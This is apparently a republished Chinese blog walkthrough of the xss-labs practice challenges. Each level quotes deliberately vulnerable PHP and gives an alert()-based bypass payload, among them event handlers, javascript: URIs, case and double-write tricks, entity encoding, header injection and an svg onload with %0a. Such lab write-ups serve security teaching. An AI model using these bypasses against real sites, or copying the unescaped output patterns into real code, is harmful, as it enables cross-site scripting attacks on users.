xss-labs-master通关教程

2024-09-08 08:44
文章标签 教程 xss labs master 通关

本文主要是介绍xss-labs-master通关教程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

一.level1

先来进行一下代码审计

<?php 
ini_set("display_errors", 0);//关闭错误显示
$str = $_GET["name"]; //接受URL来的get形式的name传参
echo "<h2 align=center>欢迎用户".$str."</h2>";//在网页输出,并不是echo执行的,而是echo把HTML代码发送到浏览器,浏览器对发送的HTML代码进行执行
?>

从代码中发现这段代码没有对用户的输入进行任何的过滤,所以我们尝试执行js代码进行弹窗

可以看到在这里传入name参数

尝试执行js弹窗

成功执行

二.level2(闭合绕过)

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

htmlspecialchars($str):对$str字符串中的特殊字符进行HTML实体化转义,比如<,>,&,",' 等

我们可以发现这个$str没有注入点,但是我们能发现下面这句代码中也有$str并且没有被转义

<input name=keyword  value="'.$str.'">
playload:"><script>alert(1)</script><"

因为注入点在<input>这个标签的value这个值中所以我们需要闭合标签并执行

或者使用动作触发

playload:" onmouseover = "alert()

左面的双引号闭合左面的,右面的双引号闭合右面的,必须要鼠标去触摸搜索框才能触发

三.level3(触发绕过)

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

这关发现他把value里的$str也进行了转义,我们就不能用普通的js代码了,可用用动作触发

四.level4(触发绕过)

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);//这里把>替换成了空
$str3=str_replace("<","",$str2);//这里把<替换成了空
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

我们发现第一处和上面的都一样,所以主要看第二处,这里发现他把>和<全部置换为空了

我们可以看到<和>全都没了,所以就不能用了,可以用动作触发

五.level5(伪协议绕过)

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);//全部变成小写
$str2=str_replace("<script","<scr_ipt",$str);//把script替换掉了
$str3=str_replace("on","o_n",$str2);//把on也替换掉了
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<cen

我们发现他把script和on都进行了过滤,所以大部分的动作触发用不了了,作者了解不多知道的都带on,所以我们可以用<a>标签配合着js的为协议进行注入

playload:"><a href = "javascript:alert(1)" ></a> <"

点击XSS链接即可注入成功

六.level6(大小写绕过)

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);//替换script
$str3=str_replace("on","o_n",$str2);//替换on
$str4=str_replace("src","sr_c",$str3);//替换src
$str5=str_replace("data","da_ta",$str4);//替换data
$str6=str_replace("href","hr_ef",$str5);//替换href
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

和前几关一样就是替换的多了href,src,data。这题和第5关有个区别就是他没有进行字符小写的转化,所以可以采用大小写绕过的方式

playload:"><Script>alert(/1/)</Script><"

七.level7(双写绕过)

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

这关就是把前两关和起来了,把href,script,on,src,data都过滤了,并且把字符全转化为为小写的了

所以我们可以采用双写绕过,因为他只转化了一次

playload:"><scscriptript>alert(/1/)</scscriptript><"


八.level8(href隐藏特性:自动unicode解码)

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

这段php代码中没有注入点,那我们看看下面的php代码

<?phpecho '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

我们发现传进去了一个链接,这里普及一个小知识:href属性在某些情况下具有自动Unicode解码的特性。这意味着,如果href属性中包含了Unicode编码的JavaScript代码或其他脚本,浏览器在解析时可能会自动将这些Unicode编码解码为相应的字符,从而执行这些脚本。

playload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

点击友情链接即可注入

九.level9(href隐藏特性:自动unicode解码)

<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

和第8关一样只不过多了一次判断必须得带有http://才行

playload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;/*http://*/

这里肯定有很多人好奇为什么不能放在前面的,下面做一些解释

为什么放在前面不好使?

当你将 /*http://*/ 放在前面时,浏览器在解析这个 href 属性时会遇到一些非标准的字符序列。由于 /* 并不是URL的有效开始部分(除非它出现在CSS或JavaScript注释中,但这在HTML的 href 属性中不适用),浏览器可能会忽略它,或者尝试将其解析为URL的一部分但失败。由于URL的解析是从左到右进行的,如果开头的部分无法被识别为有效的URL协议或路径,那么整个URL可能会被视为无效。

为什么放在后面好使?

当你将 /*http://*/ 放在后面时,情况就不同了。此时,javascript: 协议已经被正确识别,并且JavaScript代码 alert(1); 也被正确编码并包含在URL中。由于浏览器的解析机制是从左到右的,并且已经识别并处理了有效的URL协议和JavaScript代码,因此它可能会忽略掉URL末尾的注释部分(尽管这不是标准的URL行为,但浏览器可能会选择性地忽略它)。

十.level10(t_sort传参)

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

从这段代码来看keyword参数没有任何注入点,只能尝试t_sort参数,他只过滤了>和<所以可以进行触发绕过,并且把隐藏框显示出来

playload:t_sort=" onfocus=javascript:alert(1)  type = text"

十一.level11(referer传参)

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这里可以看到keyword和t_sort都没有注入点了,只能看HTTP_REFERER了,可以看到过滤了<,>

$_SERVER['HTTP_REFERER'];不可以通过URL来传参,所以我们需要抓包

我们需要使用BP进行抓包分析

修改一下referer字段

触碰一下搜索框

十二.level12(UA头传参)

<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这关与上面差的就是从referer字段变成了user_agent字段,抓包把user_agent的头部修改一下

十三.level13(cookie传参)

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这和前俩都差不多只是更改为cookie头,因为他是用user传参的所以我们要写user=playload

*

十四.level14(网站没了做不了)

十五.level15(网站包含)

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

可以看到这儿有个陌生的东西ng-include:ng-include 是 AngularJS 框架中的一个指令,用于在 AngularJS 应用中动态地包含 HTML 内容。这个指令允许你将外部 HTML 文件的内容或者 AngularJS 应用内部定义的 HTML 片段插入到当前视图的指定位置。这使得你可以复用 HTML 模板,提高了代码的可维护性和可重用性。

我们可以把任何一关包含进来比如第一关

playload:?src='/level1.php'

在对第一关进行注入

点击用户后面的图片即可

十六.level16(回车替换空格)

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

test插入到了center标签中,所以这里就不用闭合了,对比发现,这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化,想尝试一下p标签<p οnmοusedοwn=alert()>abc</p>,谁知道也将/给替换成了空格

果然给过掉了,空格可以用回车来代替绕过,回车的url编码是%0a,再配合上不用/的<img>、<details>、<svg>等标签,更多标签可参考XSS常见的触发标签

随便选个标签,将空格替换成回车的url编码,构造payload

playload:?keyword=<svg%0Aonload=alert(1)>

后面的关卡都用上flash,小编没有就不做解释了

这篇关于xss-labs-master通关教程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1147646

相关文章

2025版mysql8.0.41 winx64 手动安装详细教程

《2025版mysql8.0.41winx64手动安装详细教程》本文指导Windows系统下MySQL安装配置,包含解压、设置环境变量、my.ini配置、初始化密码获取、服务安装与手动启动等步骤,... 目录一、下载安装包二、配置环境变量三、安装配置四、启动 mysql 服务,修改密码一、下载安装包安装地

电脑提示d3dx11_43.dll缺失怎么办? DLL文件丢失的多种修复教程

《电脑提示d3dx11_43.dll缺失怎么办?DLL文件丢失的多种修复教程》在使用电脑玩游戏或运行某些图形处理软件时,有时会遇到系统提示“d3dx11_43.dll缺失”的错误,下面我们就来分享超... 在计算机使用过程中,我们可能会遇到一些错误提示,其中之一就是缺失某个dll文件。其中,d3dx11_4

Linux下在线安装启动VNC教程

《Linux下在线安装启动VNC教程》本文指导在CentOS7上在线安装VNC,包含安装、配置密码、启动/停止、清理重启步骤及注意事项,强调需安装VNC桌面以避免黑屏,并解决端口冲突和目录权限问题... 目录描述安装VNC安装 VNC 桌面可能遇到的问题总结描js述linux中的VNC就类似于Window

Go语言编译环境设置教程

《Go语言编译环境设置教程》Go语言支持高并发(goroutine)、自动垃圾回收,编译为跨平台二进制文件,云原生兼容且社区活跃,开发便捷,内置测试与vet工具辅助检测错误,依赖模块化管理,提升开发效... 目录Go语言优势下载 Go  配置编译环境配置 GOPROXYIDE 设置(VS Code)一些基本

Windows环境下解决Matplotlib中文字体显示问题的详细教程

《Windows环境下解决Matplotlib中文字体显示问题的详细教程》本文详细介绍了在Windows下解决Matplotlib中文显示问题的方法,包括安装字体、更新缓存、配置文件设置及编码調整,并... 目录引言问题分析解决方案详解1. 检查系统已安装字体2. 手动添加中文字体(以SimHei为例)步骤

Java JDK1.8 安装和环境配置教程详解

《JavaJDK1.8安装和环境配置教程详解》文章简要介绍了JDK1.8的安装流程,包括官网下载对应系统版本、安装时选择非系统盘路径、配置JAVA_HOME、CLASSPATH和Path环境变量,... 目录1.下载JDK2.安装JDK3.配置环境变量4.检验JDK官网下载地址:Java Downloads

使用Docker构建Python Flask程序的详细教程

《使用Docker构建PythonFlask程序的详细教程》在当今的软件开发领域,容器化技术正变得越来越流行,而Docker无疑是其中的佼佼者,本文我们就来聊聊如何使用Docker构建一个简单的Py... 目录引言一、准备工作二、创建 Flask 应用程序三、创建 dockerfile四、构建 Docker

深度解析Spring AOP @Aspect 原理、实战与最佳实践教程

《深度解析SpringAOP@Aspect原理、实战与最佳实践教程》文章系统讲解了SpringAOP核心概念、实现方式及原理,涵盖横切关注点分离、代理机制(JDK/CGLIB)、切入点类型、性能... 目录1. @ASPect 核心概念1.1 AOP 编程范式1.2 @Aspect 关键特性2. 完整代码实

Java Web实现类似Excel表格锁定功能实战教程

《JavaWeb实现类似Excel表格锁定功能实战教程》本文将详细介绍通过创建特定div元素并利用CSS布局和JavaScript事件监听来实现类似Excel的锁定行和列效果的方法,感兴趣的朋友跟随... 目录1. 模拟Excel表格锁定功能2. 创建3个div元素实现表格锁定2.1 div元素布局设计2.

SpringBoot连接Redis集群教程

《SpringBoot连接Redis集群教程》:本文主要介绍SpringBoot连接Redis集群教程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1. 依赖2. 修改配置文件3. 创建RedisClusterConfig4. 测试总结1. 依赖 <de